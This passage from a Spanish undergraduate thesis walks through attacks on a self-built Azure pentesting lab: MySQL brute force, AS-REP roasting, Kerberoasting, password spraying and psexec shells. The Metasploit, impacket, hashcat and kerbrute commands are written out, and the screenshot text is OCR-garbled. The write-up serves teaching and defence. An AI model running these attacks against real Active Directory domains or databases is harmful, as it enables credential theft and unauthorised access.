Docker estuviera desplegada directamente sobre el servidor podriamos acceder al fichero
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letc/passwd o /etc/shadow y copiarles a nuestra maquina para tratar de analizar todos los
usuarios y contrasefias del sistema.

Con todo lo descrito anteriormente, la pagina web de la maquina tfg-servidor-web queda
completamente atacada.

5.1.3. Ataque a base de datos mysq|

Ahora que ya hemos atacado la pagina web, vamos a hacer un analisis para ver que
servicios y puertos pueden ser vulnerables.

Para ello ejecutamos el siguiente comando desde la maquina tfg-kali

nmap -sV -Pn tfg2022.westus3.cloudapp.azure.com

En la ilustracion 5.10 se puede ver la salida de dicho comando

Nmap scan repo
Host is up (¢
Not shown: 996
PO STATE SERVICE
open ssh
filtered smtp
Cp open mysqgl
p open nagios-nsca
vice Info: 05: Linux; CPE: ¢

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds

llustracion 5.10 Resultado del analisis con nmap

Como se puede ver en la ilustracion 5.10, hay un servidor de MySQL en la versién 5.7.33,

sabiendo esto pasamos a intentar acceder al mismo por fuerza bruta mediante la herramienta
Metasploit framework.

Como tenemos la IP, voy a utilizar un fichero usuarios y contrasefias para tratar de acceder
a la base de datos, por ese motivo escojo un scanner que me permita automatizar las pruebas.

En la ilustracion 5.11 se ve la configuracion resultante, los dos ficheros utilizados se
generaron durante el despliegue de la maquina.

42



Vulnerabilidades y su explotacion

) > show options

Module options (auxiliar

Name

ELANK_PA:
BRUTEFO

swords in the
in the cu

w the full module info with the i

llustracion 5.11 Configuracion de herramienta

Una vez configurada, procedo a ejecutar el scanner, en la ilustracion 5.12 se puede ver la
salida del mismo.

) » exploit

LOGIN FAILED:
LOGIN FAILED:
LOGIN FA H

LOGIN FAILED:

LOGIN FAILED:

LOGIN FAILED: (Incorre ied for "test 5 ' (using
LOGIN FAILED: re enied for 'test . .55.67" (using
LOGIN FAILED: i "
LOGIN FAILED:

LOGIN FAILED:

LOGIN FAILED:

LOGIN FAILED:

LOGIN FA A

LOGIN FAILED:
LOGIN FAILED:
LOGIN FAILED:
LOGIN FAILED:
LOGIN FAILED:
LOGIN FAILED:
(1 omplete)

module on completed

llustracion 5.12 Salida del scanner

Como se ven en la ilustracion 5.12 se ha tenido éxito con dos usuarios y contrasefias de la
lista pasadas, aunque las listas usadas son generadas por mi para que el ataque tenga éxito
en poco tiempo, se puede observar que las contrasefias y usuarios son débiles y por lo tanto
usando ficheros mas realistas también hubieran aparecido.

Una vez que tenemos el usuario y contrasefia, procedemos a entrar a la base de datos, se
muestra en la ilustracion 5.13, y con un par de consultas a la base de datos obtengo todos los
datos de la tabla Personas. Como el usuario con el que he entrado es el root, podria también
sacar todos los usuarios y asignarles y quitarles permisos segun quisiera, comprometiendo la
integridad de todos los datos almacenados en la base de datos.
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MysQL [(none}]> show databases;
- .

I
+
|
|
|
|
I

| topsecret
—
5 rows in set (0.002 sec)

MySQL [(none)]> use topsecret;
ding ori 1 for completion of table and column names
You can turn off this feature to get a guicker startup with -A

Database changed

MysQL [top > show tables;
+

| Tables_in_top |

+ +

| Persona |

—

1 row in set (0.002 sec)

MysQL [topsecret]> select * from Persona;

nombre

:
|

N
|
|
|
|
|
|
|
|

N

+
I
+

|
|
|

|

|

|

|

I

|
|
|
|
|
|
|
|
+ - =
8 set (0.002 sec)

MysQL [topsecret]> [l

llustracion 5.13 Tabla Personas de la base de datos
Esta vulnerabilidad es debida a una mala configuracién, ya que se permite a los usuarios
acceder desde fuera de la propia maquina a la base de datos, y a mayores se sigue una
politica de contrasefias y usuarios débiles, para evitar esto se deberian crear contrasefias mas

robustas y nombres de usuarios mas complejos.

Respecto a la configuracion para acceder desde fuera de la propia maquina se deberia
limitar a una serie de maquinas autorizadas, no a cualquier maguina como se encuentra ahora.

Con esos cambios la base de datos estaria mas protegida y seria mas dificil atacarla.
Y con todo esto la maquina tfg-servidor-web queda completamente atacada.
5.2.Maquina tfg-servidor- ad

A continuacion, voy a atacar la maquina del Directorio Activo, pero antes de explotar las
vulnerabilidades que se encuentren, voy a explicar en que consisten estas y su finalidad.
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Primero hago un analisis para saber de que dispone dicha maquina a través de nmap con
el siguiente comando

nmap -sV -Pn IP_SERVIDOR_AD

La opcién -sV nos permite averiguar cuales son los puertos abiertos y que servicio y version
tienen corriendo en ellos, mientras que la opcidn -Pn nos permite desactivar el descubrimiento
de hosts.

En la ilustracion 5.14 se puede observar la salida de dicho comando

org ) at 2022-12-17 15:26 UTC

(server time: 2022-12-17 15
rectory LDAP (Domain: DOMINIO.TFG@., Site: Default-First-Site-Name)

Microsoft Win er HTTP 1.0

Microsoft Windows Active Directory LDAP (Domain: DOMINIO.TFG@., Site: Default-First-Site-Name)

5: Windows; CPE: cpe:/o:microsoft:windows

s://nmap.org/submit/ .

llustracion 5.14 Resultado del primer comando nmap

También se uso el siguiente comando

nmap -A -T4 IP_SERVIDOR_AD

La opcién -A nos permite detectar las versiones del sistema operativo y con -T4 hacemos
gue el scanner sea mas rapido, la salida del comando se puede observar en la ilustracion 5.15
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- -A -T 4 20.38.174.67
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-17 16:31 UTC
Nmap scan report for 20.38.174.67
Host is up (0.0052s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)

| ssh-h gz
|
|
I

25/tcp filtered smtp

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-17 16:31:59Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open GED Microsoft Windows Active Directory LDAP (Domain: DOMINIO.TFGO., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: DOMINIO.TFGO., : Default-First-Site-Name)
3269/tcp open tcpwrapped

3389/tcp filtered ms-wbt-server

Service Info: Host: windows-vm; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 311:

I_ Message signing enabled and required
| smb2-time:

| date: 2022-12-17T16:32:03

|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds

llustracion 5.15 Resultado del segundo comando nmap

Como se puede observar en las ilustraciones 5.14 y 5.15, la maquina es un Directorio
Activo, que posee el dominio DOMINIO.TFG, permite la conexién por SSH y dispone del
servicio de Kerberos.

También se puede observar que tiene el smb2 activo y se requiere, esto es debido a que
es el DC, si hubiera algun ordenador conectado a dicho directorio en el analisis de dicho
ordenador se mostraria desactivado, pero por limitaciones de la cantidad de IP publicas que
se pueden usar con la cuenta de Azure no hay ningun otro ordenador.

Una vez que ya tenemos informacion basica sobre la maquina procedo a ir analizando las
distintas vulnerabilidades explotadas.

Las vulnerabilidades que se han encontrado en el Directorio Activo son las siguientes:

AS-REP Roasting

Password en descripcion del usuario
Kerberoasting

Password Spraying

Ese ha sido el orden que se ha seguido para explotarlas, ya que se ha usado informacién
de vulnerabilidades previas a medida que se iba avanzando.
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5.2.1. Analisis de la vulnerabilidad AS-REP Roasting

La primera vulnerabilidad que se ha explotado es AS-REP Roasting, esta vulnerabilidad
consiste en la explotacion de la debilidad del protocolo de autentificacion de Kerberos durante
la autentificacion inicial con el centro distribuidor de claves (KDC) [22].

El AS-REP Roasting permite al atacante recuperar el hash de la contrasefia de cualquier
usuario de Kerberos que tenga activa la opcién de no requerir la pre autentificacion de
Kerberos.

Cuando la opcién de no requerir la pre autentificacion esta desactivada, el usuario que
necesita acceder a un recurso empieza mandando una peticion de autentificacion al servidor
(Authentication Server Request, AS-REQ) mediante un mensaje al DC.

La marca de tiempo del mensaje esta encriptada con el hash del usuario, si el DC es capaz
de desencriptarla con el hash que tiene almacenado, devolvera la respuesta de autentificacion
del servidor (Authentication Server Response, AS-REP), que contiene el ticket que concede
el acceso al recurso proporcionado por el centro distribuidor de claves, (KDC) [23].

Este proceso se muestra en la ilustracion 5.16

= Workstation ?}’\ C Domain Controller

KRB_AS_REQ.

4 User Credentials Cache ) > d Key Distribution Center )
Account Database

% User Key Pre-authentication
Data % User Key

KRB_AS_REP % Ticket-Granting Service
Key

Ticket-Granting Ticket % Service Key

Ticket-Granting Service
Session Key

ﬁg“

Fuente: Kerberos and SAS ® 9.4: A Three-Headed Solution for Authentication

llustracion 5.16 Autentificacion inicial de Kerberos

En cambio, cuando la opcion si esta activa, cualquier atacante puede solicitar la
autentificacion de cualquier usuario y el DC devolveria el AS-REP, y debido a que en parte
estd cifrado con la contrasefia del usuario, se podria averiguar la contrasefia mediante
distintos sistemas.

En esto consiste la vulnerabilidad que se va a explotar a continuacion.
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5.2.2. Explotacion de la vulnerabilidad AS-REP Roasting

Para explotar esta vulnerabilidad se han usado las herramientas ya instaladas en la
maquina tfg-kali.

Se ha usado a mayores un diccionario de usuarios, que contiene todas las combinaciones
posibles del script_poblacional_ad.psl de nombre.apellido y también todas las contrasefias
de dicho script.

Estos dos diccionarios no se han distribuido con el cédigo, ya que son para las pruebas de
pentesting.

Para realizar el ataque, se ha optado por hacerlo a través del metasploit framework, para
ello desde el terminal se introduce el siguiente comando.

msfconsole

Una vez cargado el metasploit, se usa el comando.

search Rerberos_enumusers

Esto nos devuelve una lista de posibles herramientas, se puede ver en la ilustracion 5.17.

msf6é > search kerberos_enumusers

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/gather/kerberos_enumusers normal No Kerberos Domain User Enumeration

Interact with a module by name or index. For example inf

llustracion 5.17 Salida del comando search

Ahora usamos el siguiente comando para seleccionar dicha herramienta.

use 0

Ahora que ya hemos seleccionado la herramienta, debemos configurar las distintas
opciones para poder realizar el ataque.

Para ello usamos los comandos:
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set DOMAIN DOMINIO.TFG
set RHOSTS IP_SERVIDOR_AD

set USER_FILE FICHERO_USUARIOS. txt

En la ilustracion 5.18 se muestra la informacion de la herramienta y como quedan

configuradas sus opciones.

msf6 auxiliary( ) > show info

Check supported:
No

Basic options:
Required

DOMINIO.T

ithub.com/

on
s, one per line

from an
onses

/krbs-enum-users.html

View the full module info with the f command .

sploit-framework/wiki/Using-Metasploit

llustracion 5.18 Informacién y opciones de kerberos_enumusers

Tras la configuracion, ejecutando el comando run, el médulo se pasa a ejecutar probando
si la lista de usuarios pasados en el fichero se encuentra en el Directorio Activo, y también
comprueba si se necesita la pre autorizacion o no, en caso de que no ya el propio programa
nos muestra el hash asociado a dicha cuenta. Esto se puede ver en la ilustracién 5.19
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DOMINIO.TF

. Hash: $krbSasrep$23§

duardo. ronalde
duar

23§

llustracion 5.19 Resultado de kerberos_enumusers

Como se puede observar en la ilustracion 5.19 se han encontrado dos cuentas que no
necesitan la pre autorizacion, jawy.soros y wiston.scorsesse, debido a que para descifrar el
hash usamos la herramienta hashcat, pasamos a guardar cada hash en un fichero distinto
para su posterior analisis.

Como se ve en la ilustracion 5.19 los dos hashes obtenidos son del tipo krb5asrep$23, esto
significa que son del tipo kerberos 5, etype 23 AS-REP, esto es importante debido a que

hashcat necesita saber que tipo de hash va a analizar.

Para descifrar los hashes pasamos a introducir el siguiente comando:

hashcat -m 18200 -a 3 FICHERO_HASH FICHERO_CONTRASENAS

El significado el -m 18260 indica el tipo de hash que queremos averiguar y el -a 3 indica
gue queremos que el ataque sea por fuerza bruta.

Tras ejecutar el comando para cada hash, se recogen las contrasefias de ambas en la
ilustracion 5.20 e ilustracion 5.21.
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Time.
Time

llustracion 5.20 Salida de hashcat para hash wiston

y.50ros@DOMINIO. TFG:

Session....

ype 23, AS-REP)
rosaoontn1o. 76 : [ DR
(0 secs)
: Fri Dec 23 022 (0 secs)
Kernel

(5]

0.01ms) @ Accel:256 Loops:1 Thr:1 Vec:16
sts (total), 1/1 (100.00%) Digests (new)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engi vice Generator
Candidates.#1.

Started: Fri Dec 2

llustracion 5.21 Salida de hashcat para hash jawy

Y con esto queda concluido la explotacion de AS-REP Roasting, la cuenta y contrasefia de
jawy.soros se utilizara mas adelante.

5.2.3. Analisis de password en la descripcion de los usuarios

La siguiente vulnerabilidad que voy a explotar, no es una vulnerabilidad como tal, ya que
es producida por poner la contrasefia en la descripcién del usuario.

Al crear el usuario y la contrasefia, se puede afiadir una descripcion al usuario, y en este
caso lo que se agrego fue la frase: /a clave es “CONTRASENA”.
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Las contrasefias que se crearon para estos usuarios son seguras, ya que son de una
longitud considerable, doce digitos.

Pero el ponerlas en la descripcion hace que esto poco importe ya que, si alguien
compromete el Directorio Activo, podria llegar a ver esta descripcion y aumentar el nivel de
privilegios que tenia disponible.

Aunque la descripcidn en los usuarios puede llegar a ser (til de cara al usuario, para
recordarle parte de la contrasefia, o para especificar los usos de dicha cuenta, en realidad
permite dar mas informacién a los posibles atacantes, pero como es una funcionalidad propia
del objeto usuario no es una vulnerabilidad al uso, sino mas bien es un fallo de configuracion.

5.2.4. Explotacion de password en la descripcion de los usuarios

A continuacién, voy a demostrar como acceder a estas cuentas, a través del usuario y
contrasefa obtenido previamente.

Para ello, en un terminal de Kali Linux, procedemos a ejecutar el comando

msfconsole

Esto nos permite usar el metasploit framework, que es donde esta la utilidad que vamos a
necesitar para realizar el ataque.

Una vez iniciado con el siguiente comando obtenemos el exploit que queremos utilizar, el
resultado del comando se puede ver en la ilustracién 5.22.

search psexec

nsf6 > search psexec

Matching Modules

Name isclosure Date Rank
ket/dcomexec normal
_010_psexec 7- normal Yes er LChampic ote Windows Code Execution
normal c 0 er terna i ote Windows Command Execution

1999-01-01

1999-01-01
manual
normal
manual I ution
1 MI) Remote Command Execution

Interact with a module by name or index. Fer example

llustracion 5.22 Salida del comando search
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Ahora con el comando use 4 le seleccionamos.

Una vez seleccionado, tenemos que configurar las opciones para poder utilizar el exploit,
para ello usamos los siguientes comandos:

set RHOSTS IP_SERVIDOR_AD
set SMBUser jawy.soros
set SMBPass CONTRASENA

La configuracion ya aplicada y la informacién del exploit se puede ver en la ilustracién 5.23.

msf6 exploit( ) > show info

Metasploit Framework License (BSD)
1

Command

Check supported:
No

options:
Current ing Required Description

T target tt| t L€ 7 sploit-framew /Using-Metasploit

4 e
DESCRIPTION : t get for pretty listing

The share to connect tc e ... ) or a normal r ite folder share
The use

cription:
This modul
module i

View the full medule info with the command.

llustracion 5.23 Informacion y opciones de psexec

Una vez configurado, procedemos a ejecutarle con el comando exploit, se puede ver el
resultado en la ilustracion 5.24
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msf6 exploit( ) > exploit

TCP handler on 1@.

DOMINIO

6/windows

llustracion 5.24 Ejecuciéon de psexec

Como se puede ver en la ilustracién 5.24, al ejecutar el exploit, pasamos a tener un
meterpreter en la maquina tfg-servidor-ad, para comprobarlo hemos introducido el comando
sys1info, que nos devuelve la informacion sobre la maquina.

A continuacion, pasamos a convertir el meterpreter en un shell, para ello ejecutamos el
comando shell y una vez ejecutado con el comando powershell, pasamos a tener un
terminal de powershell en la maquina.

El terminal de powershell es debido a que para trabajar con las opciones del Directorio
Activo se realizan desde este tipo de terminal.

Una vez dentro del powershell, usamos el siguiente comando, para cargar las herramientas
de gestion del Directorio Activo.

Import-Module ActiveDirectory

Y con el siguiente comando recuperamos todas los usuarios que tienen algo escrito en la
descripcién en formato tabla junto con el nombre del usuario.

Get-ADUser -Filter {(Description -ne "null")} -Properties Description |
Ft UserPrincipalName, Description
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"null")} -Properties Descripti | Ft UserPrincipalName, Description

cription | Ft UserPrinci ame, Description

OMINIO.TFG
NIO.TFG

llustracion 5.25 Cuentas de usuario con la contrasefia en la descripcion

Como se puede ver en la ilustracibn 5.25 hay cuatro usuarios que tienen puesta la
contrasefia en la descripcion, para el siguiente ataque usaremos la cuenta y contrasefia de
alberto.fernandez.

5.2.5. Analisis de la vulnerabilidad Kerberoasting

Ahora me voy a centrar en la vulnerabilidad de Kerberoasting [24], para ello antes de
explotarla voy explicar en que consiste.

La vulnerabilidad de Kerberoasting, es una vulnerabilidad que va dirigida hacia las
credenciales de las cuentas del Directorio Activo, una de sus mayores particularidades es que
no requiere una cuenta de administrador de dominio y la recuperaciéon de los hashes de las
cuentas se obtienen sin tener que mandar paquetes por internet, lo cual dificulta su rastreo

[25] [26] [27].
Los pasos del ataque serian los siguientes:

1. El atacante obtiene una cuenta del Directorio Activo.

Una vez autentificado, el atacante recibe el ticket TGT del KDC.

3. El atacante solicita un ticket de servicio, el Directorio Activo comprobara los permisos y
genera un ticket de servicio TGS, el cual va cifrado con la contrasefia del servicio.

4. El atacante recibe el ticket que luego pasara al servicio y sera quien determine si el
usuario tiene permiso o no.

5. El atacante puede extraer el ticket y usar distintas herramientas para descifrarle offline.

N

En la ilustracion 5.26 se muestra la secuencia para la obtencion del TGS y su uso para el
servicio.
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Domain Controller (KDC)

User's Client SQL Server

Fuente: www.truesec.com

llustracion 5.26 Pasos de kerberos

Aungue este atague pueda parecerse al de AS-REP Roasting comentado previamente, son
distintos [28].

A continuacion, muestro sus principales diferencias.

El requisito para explotar la vulnerabilidad de Kerberoasting es que las cuentas tengan un
SPN (Service Principal Name) asociado a una cuenta de servicio, el SPN no se crea
automaticamente cuando creas al usuario, sino que hay que crearle posteriormente con el
siguiente comando, en nuestro caso el comando se ejecuté de manera dindmica con el script
poblacional del Directorio Activo.

setspn -U -S snowPC/aron.willis.DOMINIO.TFG:4667 DOMINIO\aron.willis

Mientras que el requisito para explotar la vulnerabilidad de AS-REP Roasting es que el
usuario tenga activada el no pedir la pre autenticacién a Kerberos.

Otra diferencia, como se puede observar en las ilustraciones 5.16 y 5.26, es que el AS-REP
Roasting, tiene lugar en la primera etapa del proceso de autentificacion de Kerberos, mientras
el Kerberoasting se da cuando el protocolo esta mas avanzado en su ejecucion.

Y también hay una diferencia en el funcionamiento, mientras para el AS-REP Roasting se
necesita tener acceso a la red y conocer la cuenta de usuario para poder probar si tiene
activada la pre autorizacion o no, para el Kerberosating solo se necesita una cuenta de usuario
y sus credenciales para poder realizar la peticion [29].
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5.2.6. Explotacion de la vulnerabilidad Kerberoasting
A continuacion, voy a explicar como se ha explotado dicha vulnerabilidad.

Para ello he utilizado la herramienta impacket, la cual se instal6é durante el despliegue en la
maquina de tfg-kali.

Para ejecutamos el siguiente comando en un terminal de Kali Linux:

impacket-GetUserSPNs -dc-ip IP_SERVIDOR_AD DOMINIO.TFG/usuario:contrasena

El usuario y contrasefa utilizado es una de las que se han obtenido previamente, en este
caso he usado la de alberto.fernandez. En la ilustracion 5.27 se puede ver el resultado de la
ejecucioén de dicho comando.

stlogon Delegation

MINIO,DC=TFG

MINIO,DC=TFG

cios,CN=Users, DC=DOMINIO, DC=TFG
CN=Users, DC=DOMINIO, DC=TFG

llustracion 5.27 Obtencion de usuarios de SPNs
Como se puede apreciar en la ilustracion 5.27 se han encontrado cuatro SPNs, por lo tanto,
si se puede realizar el ataque de Kerberoasting, sino se hubiera encontrado ninguno se

mostraria el mensaje de que no se han encontrado y la vulnerabilidad no podria explotarse.

Ahora para recuperar los hashes para su posterior andlisis se ejecuta el siguiente comando:

impacket-GetUserSPNs -dc-ip IP_SERVIDOR_AD DOMINIO.TFG/usuario:contrasena
-request

Se puede ver el resultado del mismo en la ilustracién 5.28.
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DOMINIO.TFG/alberto. fernandez J
orporation

Name Member0f 3 { ogon Delegation

is not found. Skipping...
ylor.douglas$DOMINTO. TFGSDOMINIO. TFG/ taylor.douglas+$

GYDOMINIO. TFG/sara. ramoss|

llustracion 5.28 Obtencion de los hashes

Una vez obtenido los hashes, se guardan cada uno en un fichero para su posterior analisis
con hashcat.

Para analizar el hash, se necesita saber que tipo de hash es, por ello al principio de cada
hash como se puede ver en la ilustracion 5.28, se observa la frase de krb5tgs$23, esto nos
indica que son del tipo Kerberos 5, etype 23, TGS-REP.

Para descifrar los hashes el comando es el siguiente:

hashcat -m 13100 -a 3 FICHERO_HASH FICHERO_CONTRASENAS

El valor de -m 13100 es debido al tipo de hash que esy el -a 3 es porque queremos que
se use la fuerza bruta en el analisis.

Los resultados de la ejecucion se pueden ver en las ilustraciones 5.29, 5.30, 5.31 y 5.32.
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ion:0-1

ession

Loops:1 Th

new)

1did
Candidates.#1..

tarted
opped

llustracién 5.30 Hashcat de sara.ramos
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(new)

llustracion 5.32 Hashcat de karime.willis

Como se puede observar en las ilustraciones previas, se han encontrado todas las
contrasefas para los hashes, aunque se ha usado un diccionario sencillo que contiene todas
las posibles contrasefias que se asignan aleatoriamente para reducir los tiempos, con
diccionarios mas realistas también se podrian averiguar todas las contrasefias ya que se han
escogido contrasefas sencillas.
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5.2.7. Analisis de la vulnerabilidad Password Spraying

A continuacion, voy a explicar la ultima vulnerabilidad explotada del Directorio Activo, el
Password Spraying [30].

Esta vulnerabilidad consiste en probar la misma contrasefia o contrasefias sobre un grupo
de usuarios, ademas al hacerlo sobre varias cuentas a la vez se evitan los posibles bloqueos
de las cuentas por exceso de intentos de acceso como podria pasar en los ataques por fuerza
bruta.

Este la explotacion de dicha vulnerabilidad es posible debido a la naturaleza suprayectiva
de las contrasefias, es decir que, si tenemos dos grupos, uno de usuarios y otro de
contrasefias, el grupo de usuarios es mayor que el de contrasefias, por lo tanto, una o mas de
una contrasefia pueden estar en uso por varios usuarios distintos [31].

5.2.8. Explotacion de la vulnerabilidad Password Spraying
Para esta explotacion, he utilizado la herramienta kerbrute [32], esta herramienta a
diferencia del resto de herramientas usadas no se instala durante la creacién de la maquina

tfg-kali.

Para usar esta herramienta primero se compilo en una maquina local y posteriormente se
pasé a la maquina tfg-kali mediante el comando scp.

Aungue esta herramienta dispone de varias utilidades, solo hemos usado la de
passwordspray, pero también se podria usar para enumerar usuarios u otras opciones de

fuerza bruta.

Para realizar el ataque usamos el siguiente comando:

./Rerbrute_Linux_386 passwordspray --dc IP_SERVIDOR_AD -d DOMINIO.TFG
FICHERO_USUARIOS CONTRASENA

Con ./kerbrute_Llinux_ 386 passwordspray estamos indicando que herramienta
gueremos utilizar, con --dc indicamos cual es la direccion IP del Directorio Activo que
gueremos atacar, -d indicamos el dominio y luego pasamos el fichero con los usuarios que
gueremos probar junto con la contrasenfa.

En lailustracién 5.33 se puede ver la ejecucion de dicho comando.
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~/kerbrute/kerbrute/dist
passwordspray 20.125.139.31 DOMINIO.TFG /home/kali/usuariosdominie.txt -

- Ronnie Flathers @ropnop

> Done! Te

llustracion 5.33 Salida de Password Spraying

Como se puede apreciar en la ilustracion 5.33, hay una serie de usuarios que tienen esa
contrasefa. A continuacion, voy a iniciar sesién en uno de ellos.

Para ello, voy a utilizar de nuevo el metasploit framework y el exploit psexec, los pasos para
utilizarles ya se describieron previamente.

En la ilustracion 5.34 se puede observar la informacion y configuracion resultante del
exploit.
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info

ted User Code Ex

Command

supported:

options:
Required

n admin share (ADMIN$,C$, ...) or a normal re: e folder share

nd p
. This modu

View the full module info with the inf command.

llustracion 5.34 Configuracion de psexec

Una vez configurado, procedemos a ejecutarle, se puede ver en la ilustracion 5.35, y una
vez que tenemos el meterpreter activo, escribimos el comando sysinfo para que nos muestre
informacion del sistema, como se puede ver es el ordenador correspondiente al dominio.

1.smith' ...

ommand or non-se

indows

llustracion 5.35 Ejecucion de psexec

Con todo esto queda atacada la maquina tfg-servidor-ad y todas las maquinas del entorno.
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A continuacion, voy a presentar las principales conclusiones del presente trabajo fin de
grado y también las posibles mejoras de cara al futuro.

6. CONCLUSIONES

El objetivo general de este trabajo fin de grado era la elaboracion de un entorno de
entrenamiento para ciberseguridad que se generara de manera automatica y se desplegara
en la nube y como objetivos secundarios estaba atacar dicho entorno, en lineas generales se
han alcanzado los objetivos, pero la generacién y despliegue del entorno debido al Directorio
Activo no se ha podido automatizar del todo, ya que al finalizar la instalacion del Directorio
Activo la maquina se reiniciaba haciendo imposible que se ejecutara el script poblacional.

Este cambio supuso también la apertura de la subred interna para poder pasar los ficheros
y ejecutarles una vez finalizado el despliegue del entorno.

Durante el desarrollo del entorno, debido a cambios en las cuentas de Azure y el nuevo
limite de IPs publicas, tres, la idea original de tener mas maquinas disponibles para crear una
arquitectura de red mas compleja se vio modificada resultando la arquitectura actual.

En general la elaboraciéon del proyecto me ha permitido aprender sobre IaC, en concreto
Terraform y el manejo de la nube de Azure, lo cual he aprovechado para sacarme varias
certificaciones. También me ha ayudado a comprender como se pueden mantener entornos
estables de rapida configuracion para la realizacion de pruebas, esto es de gran ayuda cuando
se estan buscando errores de un cliente final, el tener la capacidad de tener un entorno
exactamente igual al suyo ahorra muchos problemas y la frase de pues en mi equipo funciona.

También me ha permitido tener un mayor conocimiento y comprension de como funciona
un Directorio Activo que, aunque en el mundo empresarial se utilice a menudo, sabia muy
poco sobre ellos al empezar el trabajo fin de grado.

Respecto a la explotacion de las vulnerabilidades, me ha permitido entender como
funcionan y como buscar la informacién relevante de las mismas, no solo para tratar de
explotarlas sino para también tratar de mitigarlas en mis dispositivos.

También hay que recalcar la importancia de usar contrasefias seguras, ya que como se ha
demostrado a lo largo del trabajo, las contrasefias débiles y faciles se pueden averiguar.

Los pasos a seguir una politica de contrasefias fuertes serian [33]:
1. Pensar una frase, que tenga una longitud considerable, al menos de 10 caracteres.

2. Cambiar algunas letras por mayusculas y minasculas.
3. Sustituir algunas letras por nimeros.
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4. Anadir caracteres especiales como ~o0 @.
5. Usar una contrasefa distinta para cada servicio.

A parte de generar contrasefias fuertes es necesario mantenerlas seguras, para ello se
recomienda no usar la misma contrasefia para varias cuentas, cambiarlas de forma periddica,
y usar sistemas de MFA para aumentar la seguridad de las cuentas.

Como posible trabajo futuro seria aumentar la complejidad del entorno, afiadiendo nuevas
maquinas, alguna de ellas como parte del dominio, vulnerabilidades de MySQL inyection y
otras nuevas vulnerabilidades que se vayan descubriendo.
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ANEXO |

ANEXO |

El codigo para el despliegue y sus scripts inicializadores correspondientes se encuentran en
el repositorio https://github.com/pablomedi/tfg-entorno-pentesting.qgit
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